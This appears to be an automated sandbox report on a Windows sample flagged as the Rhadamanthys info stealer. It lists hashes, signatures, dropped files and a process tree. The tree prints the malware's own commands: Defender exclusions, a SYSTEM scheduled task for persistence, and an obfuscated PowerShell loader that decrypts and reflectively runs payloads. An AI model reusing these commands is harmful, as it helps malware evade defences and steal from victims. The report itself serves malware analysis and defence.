Analysis

  • max time kernel
    146s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-04-2024 12:27

General

  • Target

    Loader.exe

  • Size

    69.9MB

  • MD5

    0e3f59387c131274d399813d1d95d80c

  • SHA1

    f09cce4678a762cfe87dbc5c8b68f9a951afebb2

  • SHA256

    558be4bca2165d9e1335330cfacc0ff3c175ed21dfe17c7421b3b1bae6348a6a

  • SHA512

    fc04a75b47d0780212971e7a1db91df5f4d98ed796379bea053fb2c2578b3de42a6da561ce1579479f6f5088a06ff32d6945ac5fe112a5ca236f5453c60e54e1

  • SSDEEP

    393216:S0tsUElbLI3r6B6Xlek/Kez3sFumIYUDfLFokwsWtjGHx:SEIHIjlek/KY4bIYU7/wsfx

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 3 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
    1⤵
      PID:2896
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:3892
    • C:\Users\Admin\AppData\Local\Temp\Loader.exe
      "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Windows\system32\cmd.exe
        cmd /C "wmic path win32_VideoController get name"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3604
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name
          3⤵
          • Detects videocard installed
          • Suspicious use of AdjustPrivilegeToken
          PID:3120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\""
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath \"C:\ProgramData\""
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:716
      • C:\ProgramData\driver1.exe
        C:\ProgramData\driver1.exe
        2⤵
        • Executes dropped EXE
        PID:656
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c C:\ProgramData\driver2.cmd
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3940
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K C:\ProgramData\driver2.cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\ProgramData\driver2.cmd';$AqEi='CrsqtpesqtpatsqtpeDesqtpcrsqtpyptsqtposqtprsqtp'.Replace('sqtp', ''),'FrCJbRoCJbRmBaCJbRseCJbR64CJbRStCJbRriCJbRnCJbRgCJbR'.Replace('CJbR', ''),'InTTXMvokTTXMeTTXM'.Replace('TTXM', ''),'EnfaNStryfaNSPoifaNSnfaNStfaNS'.Replace('faNS', ''),'ChMkDfanMkDfgeMkDfExtMkDfensMkDfioMkDfnMkDf'.Replace('MkDf', ''),'LonQgGanQgGdnQgG'.Replace('nQgG', ''),'MbgpxaibgpxnMbgpxobgpxdulbgpxebgpx'.Replace('bgpx', ''),'REtcKeEtcKadLEtcKinEtcKesEtcK'.Replace('EtcK', ''),'ElzFDsemzFDsezFDsnzFDstAzFDstzFDs'.Replace('zFDs', ''),'CenWEopenWEyenWEToenWE'.Replace('enWE', ''),'GeEAEWtCuEAEWrrEAEWenEAEWtPEAEWroEAEWcEAEWeEAEWsEAEWsEAEW'.Replace('EAEW', ''),'SpOMiiliOMiitOMii'.Replace('OMii', ''),'TrNYnSanNYnSsNYnSfNYnSorNYnSmNYnSFNYnSinaNYnSlBlNYnSocNYnSkNYnS'.Replace('NYnS', ''),'DecKPNcocKPNmpcKPNrcKPNesscKPN'.Replace('cKPN', '');powershell -w hidden;function CpemN($DYVvD){$uCDxz=[System.Security.Cryptography.Aes]::Create();$uCDxz.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uCDxz.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uCDxz.Key=[System.Convert]::($AqEi[1])('hwWmx8yZnmhBXTUujLmUilT/inW7ASWUfza/yiGaTE0=');$uCDxz.IV=[System.Convert]::($AqEi[1])('1shh+Csacdi2MAxWoHL6Vw==');$WrKXJ=$uCDxz.($AqEi[0])();$lQEbS=$WrKXJ.($AqEi[12])($DYVvD,0,$DYVvD.Length);$WrKXJ.Dispose();$uCDxz.Dispose();$lQEbS;}function Vaeom($DYVvD){$ufaBC=New-Object System.IO.MemoryStream(,$DYVvD);$fvcwX=New-Object System.IO.MemoryStream;$KxhFO=New-Object System.IO.Compression.GZipStream($ufaBC,[IO.Compression.CompressionMode]::($AqEi[13]));$KxhFO.($AqEi[9])($fvcwX);$KxhFO.Dispose();$ufaBC.Dispose();$fvcwX.Dispose();$fvcwX.ToArray();}$oYEdq=[System.IO.File]::($AqEi[7])([Console]::Title);$sExPv=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 5).Substring(2))));$uYvCe=Vaeom (CpemN ([Convert]::($AqEi[1])([System.Linq.Enumerable]::($AqEi[8])($oYEdq, 6).Substring(2))));[System.Reflection.Assembly]::($AqEi[5])([byte[]]$uYvCe).($AqEi[3]).($AqEi[2])($null,$null);[System.Reflection.Assembly]::($AqEi[5])([byte[]]$sExPv).($AqEi[3]).($AqEi[2])($null,$null); "
            4⤵
              PID:1236
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              4⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:964
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1508
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2432
                5⤵
                • Program crash
                PID:4060
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 964 -s 2376
                5⤵
                • Program crash
                PID:3332
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn WinDriver /tr C:\ProgramData\Microsoft\WinDriver.cmd /sc onstart /ru SYSTEM
          2⤵
          • Creates scheduled task(s)
          PID:4348
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 964 -ip 964
        1⤵
          PID:2640
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 964 -ip 964
          1⤵
            PID:3620

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\driver1.exe

            Filesize

            3.6MB

            MD5

            eb93f3965887e8796917d34d40c0869d

            SHA1

            10976e4bc2a7d412550048c06def0b0ebba77eb6

            SHA256

            31d452a1ae5637cd3127e7a2e4e8de9771ea1d4e2fa34cddfdd9f90b73d098a5

            SHA512

            b743c9ef3fe72f7e79c16929ee6d00cd4a0961309ea73f12b599bf5217b271bef61ac1981fed8a2b48187c5ad8ca18d572d7076d335f0440c52f77f47cd81281

          • C:\ProgramData\driver2.cmd

            Filesize

            7.2MB

            MD5

            d14ef6e6b689c92514b92b7865f622c6

            SHA1

            03a0aaafd831d9c07784744e0358b83e506402ab

            SHA256

            2d68dffce5555c659fb1de2b4d1e28597667ddefd6c99844ee5a346adcf0d036

            SHA512

            87754c793b4abc0066588cf60cff7b763090e2680aa3bc889e9f36ecaee28f18ea0ab1bb37d7049781079197237d83bb0995b61caa87888df4556ae921973d0c

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            d28a889fd956d5cb3accfbaf1143eb6f

            SHA1

            157ba54b365341f8ff06707d996b3635da8446f7

            SHA256

            21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

            SHA512

            0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i0tidxdv.hwq.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/716-34-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp

            Filesize

            10.8MB

          • memory/716-32-0x000002541B420000-0x000002541B430000-memory.dmp

            Filesize

            64KB

          • memory/716-31-0x000002541B420000-0x000002541B430000-memory.dmp

            Filesize

            64KB

          • memory/716-18-0x00007FFADE9A0000-0x00007FFADF461000-memory.dmp

            Filesize

            10.8MB

          • memory/716-19-0x000002541B420000-0x000002541B430000-memory.dmp

            Filesize

            64KB

          • memory/716-20-0x000002541B420000-0x000002541B430000-memory.dmp

            Filesize

            64KB

          • memory/964-64-0x0000000008200000-0x000000000887A000-memory.dmp

            Filesize

            6.5MB

          • memory/964-99-0x000000000A980000-0x000000000AD80000-memory.dmp

            Filesize

            4.0MB

          • memory/964-113-0x000000000A980000-0x000000000AD80000-memory.dmp

            Filesize

            4.0MB

          • memory/964-112-0x0000000074F10000-0x00000000756C0000-memory.dmp

            Filesize

            7.7MB

          • memory/964-107-0x00000000054D0000-0x00000000054E0000-memory.dmp

            Filesize

            64KB

          • memory/964-101-0x0000000075A90000-0x0000000075CA5000-memory.dmp

            Filesize

            2.1MB

          • memory/964-42-0x0000000074F10000-0x00000000756C0000-memory.dmp

            Filesize

            7.7MB

          • memory/964-43-0x00000000054D0000-0x00000000054E0000-memory.dmp

            Filesize

            64KB

          • memory/964-44-0x0000000005320000-0x0000000005356000-memory.dmp

            Filesize

            216KB

          • memory/964-45-0x0000000005B10000-0x0000000006138000-memory.dmp

            Filesize

            6.2MB

          • memory/964-46-0x0000000005A10000-0x0000000005A32000-memory.dmp

            Filesize

            136KB

          • memory/964-47-0x0000000006140000-0x00000000061A6000-memory.dmp

            Filesize

            408KB

          • memory/964-48-0x00000000061B0000-0x0000000006216000-memory.dmp

            Filesize

            408KB

          • memory/964-58-0x00000000062C0000-0x0000000006614000-memory.dmp

            Filesize

            3.3MB

          • memory/964-59-0x0000000006810000-0x000000000682E000-memory.dmp

            Filesize

            120KB

          • memory/964-60-0x00000000068B0000-0x00000000068FC000-memory.dmp

            Filesize

            304KB

          • memory/964-61-0x0000000006D90000-0x0000000006DD4000-memory.dmp

            Filesize

            272KB

          • memory/964-62-0x00000000054D0000-0x00000000054E0000-memory.dmp

            Filesize

            64KB

          • memory/964-63-0x0000000007B00000-0x0000000007B76000-memory.dmp

            Filesize

            472KB

          • memory/964-98-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp

            Filesize

            2.0MB

          • memory/964-65-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

            Filesize

            104KB

          • memory/964-96-0x000000000A980000-0x000000000AD80000-memory.dmp

            Filesize

            4.0MB

          • memory/964-97-0x000000000A980000-0x000000000AD80000-memory.dmp

            Filesize

            4.0MB

          • memory/964-95-0x00000000054D0000-0x00000000054E0000-memory.dmp

            Filesize

            64KB

          • memory/964-94-0x0000000000400000-0x000000000046D000-memory.dmp

            Filesize

            436KB

          • memory/964-93-0x000000000A980000-0x000000000AD80000-memory.dmp

            Filesize

            4.0MB

          • memory/964-82-0x0000000002E60000-0x0000000002E68000-memory.dmp

            Filesize

            32KB

          • memory/964-84-0x0000000077931000-0x0000000077A51000-memory.dmp

            Filesize

            1.1MB

          • memory/964-85-0x0000000007FA0000-0x0000000007FE6000-memory.dmp

            Filesize

            280KB

          • memory/964-86-0x0000000005660000-0x000000000566C000-memory.dmp

            Filesize

            48KB

          • memory/964-87-0x0000000000400000-0x000000000046D000-memory.dmp

            Filesize

            436KB

          • memory/964-92-0x0000000074F10000-0x00000000756C0000-memory.dmp

            Filesize

            7.7MB

          • memory/1508-78-0x0000000005570000-0x0000000005580000-memory.dmp

            Filesize

            64KB

          • memory/1508-68-0x0000000005570000-0x0000000005580000-memory.dmp

            Filesize

            64KB

          • memory/1508-67-0x0000000005570000-0x0000000005580000-memory.dmp

            Filesize

            64KB

          • memory/1508-66-0x0000000074F10000-0x00000000756C0000-memory.dmp

            Filesize

            7.7MB

          • memory/1508-81-0x0000000074F10000-0x00000000756C0000-memory.dmp

            Filesize

            7.7MB

          • memory/3656-11-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

            Filesize

            64KB

          • memory/3656-16-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp

            Filesize

            10.8MB

          • memory/3656-9-0x00000281ECA10000-0x00000281ECA32000-memory.dmp

            Filesize

            136KB

          • memory/3656-10-0x00007FFADE7B0000-0x00007FFADF271000-memory.dmp

            Filesize

            10.8MB

          • memory/3656-13-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

            Filesize

            64KB

          • memory/3656-12-0x00000281EA890000-0x00000281EA8A0000-memory.dmp

            Filesize

            64KB

          • memory/3892-102-0x0000000000A00000-0x0000000000A09000-memory.dmp

            Filesize

            36KB

          • memory/3892-106-0x00007FFAFD350000-0x00007FFAFD545000-memory.dmp

            Filesize

            2.0MB

          • memory/3892-110-0x0000000002520000-0x0000000002920000-memory.dmp

            Filesize

            4.0MB

          • memory/3892-109-0x0000000075A90000-0x0000000075CA5000-memory.dmp

            Filesize

            2.1MB

          • memory/3892-111-0x0000000002520000-0x0000000002920000-memory.dmp

            Filesize

            4.0MB

          • memory/3892-104-0x0000000002520000-0x0000000002920000-memory.dmp

            Filesize

            4.0MB

          • memory/3892-105-0x0000000002520000-0x0000000002920000-memory.dmp

            Filesize

            4.0MB